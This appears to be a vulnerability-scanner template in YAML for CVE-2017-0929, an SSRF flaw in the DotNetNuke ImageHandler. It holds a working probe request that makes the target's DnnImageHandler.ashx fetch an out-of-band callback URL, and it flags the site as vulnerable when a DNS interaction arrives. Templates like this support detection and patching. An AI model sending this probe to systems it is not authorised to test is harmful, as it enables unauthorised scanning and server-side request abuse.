19 lines
435 B
YAML
19 lines
435 B
YAML
|
id: CVE-2017-0929
|
||
|
|
info:
|
||
|
|
name: DotNetNuke ImageHandler SSRF (CVE-2017-0929)
|
||
|
|
severity: medium
|
||
|
|
reference:
|
||
|
|
- https://hackerone.com/reports/482634
|
||
|
|
author: CharanRayudu, meme-lord
|
||
|
|
tags: cve,cve2017,ssrf,dotnetnuke
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url={{interactsh-url}}'
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: interactsh_protocol
|
||
|
|
words:
|
||
|
|
- "dns"
|